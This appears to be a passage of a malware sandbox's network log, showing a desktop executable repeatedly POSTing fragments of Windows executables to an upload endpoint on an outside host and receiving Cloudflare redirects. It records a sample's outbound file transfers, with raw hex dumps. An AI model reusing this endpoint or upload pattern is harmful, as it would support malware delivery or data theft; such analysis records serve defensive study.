Oct 10, 2024 21:03:09.637108088 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:09.637151003 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:09.637192011 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:03:09.641576052 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:09.963325977 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:09 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:09 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UKW1SrM9ANKK3uXo%2BzQ8GmjHf9ZO7DJ7DSONh941nZGFsrNYWeZLH7GGy%2BX7ub20rem%2BTV%2F4ea%2FQwbIGpqI1OEaAcy1KTcyC4DFpSy5YHrHku1l0VuUQqDOrJH0DuRTtVW59PKeIYuc19w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de6d098a41f3-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50673	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:10.182686090 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------5ca0265911a3d560
Oct 10, 2024 21:03:10.633450031 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:10.747036934 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 63 61 30 32 36 35 39 31 31 61 33 64 35 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------5ca0265911a3d560Content-Disposition: form-data; name="file[]"; filename="rifaien2-5nuJmBGqOVTVsVLa.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:10.747226954 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:10.753820896 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:10.753858089 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:03:10.753942966 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:10.753968954 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:10.753993988 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:10.754019976 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:10.754045963 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:10.754071951 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:11.068147898 CEST	807	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:11 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:11 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YvuR1ttkkGdVB3rujtmvNGDKCjLFoTq9Bl22aqqxY5xXE9xJiVhnZ1CrcMXhgJ2DOPul3usVLeBBReIKRm2IQaEZPiEs5K2HzWoPPWJXOJPuuLGH8DE6XTV9V4gieAFnibSDwel2teR3hg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de73489b43b1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50674	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:11.218683004 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------541e2d7b6059d205
Oct 10, 2024 21:03:11.929389000 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:11.930044889 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:11.930860043 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 34 31 65 32 64 37 62 36 30 35 39 64 32 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------541e2d7b6059d205Content-Disposition: form-data; name="file[]"; filename="rifaien2-I6zVOkc7a2MoLHpC.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:11.930960894 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:11.936176062 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:11.936176062 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:11.936223984 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:11.936309099 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:11.936343908 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:11.937453032 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:11.940964937 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:03:11.941009045 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:12.240461111 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:12 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:12 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4atSIZSDXJ3eBI8x7fQ1BUZzYOuKg3m69%2BD3ydI8UgYn2%2BEYbP51jE5VA9Y8eJaCTivNBHUSwPUPzCtFqEgqkMyyWqkBwN5NCWSIhgmZEZx0Ktsx%2F48%2BCKkxZnTbeq55KkhjfUrmbxLAWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de79ca488ce3-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50675	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:12.432637930 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------a2cca30724ff9e58
Oct 10, 2024 21:03:12.907500029 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:12.908859968 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 32 63 63 61 33 30 37 32 34 66 66 39 65 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------a2cca30724ff9e58Content-Disposition: form-data; name="file[]"; filename="rifaien2-1u0hu8IxGgzV53b3.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:12.908860922 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:12.914391994 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:12.914392948 CEST	7416	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:12.914535999 CEST	9888	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:12.918921947 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:12.919615984 CEST	9888	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:03:12.924144983 CEST	2472	OUT	Data Raw: fb 89 75 80 80 b8 c5 75 3d 8b 80 e2 e0 5a 08 39 bc a2 72 83 9b d5 db 92 ff b1 46 5e 58 0a 0f 99 fa 6c 89 83 2e 0f 84 4b c5 0e 75 0d 74 84 a8 80 f4 c7 46 58 00 b3 a2 1e c1 c7 46 e0 e0 00 e2 ff ef c7 46 2c f2 f6 40 3c 07 74 13 8b 4d 9c 80 b9 44 67 Data Ascii: uu=Z9rF^Xl.KutFXFF,@<tMDg6tET~IuDE}9\u4s}t'wr&rt#L 9t$]X@gPjuu:#pII~utttl
Oct 10, 2024 21:03:12.924145937 CEST	17304	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:03:12.924293041 CEST	15176	OUT	Data Raw: 75 27 ed d1 07 2a ba 07 da 01 ed 83 bf 86 a0 37 fc ad 00 74 11 04 b3 70 89 87 2c fd 1d fc d1 89 97 a6 8b 55 e8 02 4d c4 01 85 d2 75 0c c0 ff 53 d4 09 bf f6 0f 94 c0 88 45 cf 85 d2 7f 82 e2 dd 51 fd 28 8b 87 8a 5c d4 b3 11 0d 08 0c 89 87 28 6f e0 Data Ascii: u'7tp,UMuSEQ(\(o@4g1EMQRpg17AcQEMz E3sT8zSeqt9d3\|`w+vW6~%w;>Pw?}t=0"6Mg&<+sE)
Oct 10, 2024 21:03:13.231987953 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:13 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:13 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=suNlCzIflZ3zOdntpg9ufQAr3kwZ3kH%2BTNtDYB3FirnBXYN8uCGSTZF4kT6gTCrIQTRVoSxKCTFdvGho3wl19MeKLvYd9UHBW5X6RLy9wWga9BqFSB1Xx%2Fce1UJbOqFYNgFXLdpwusygUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de817abf42f2-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 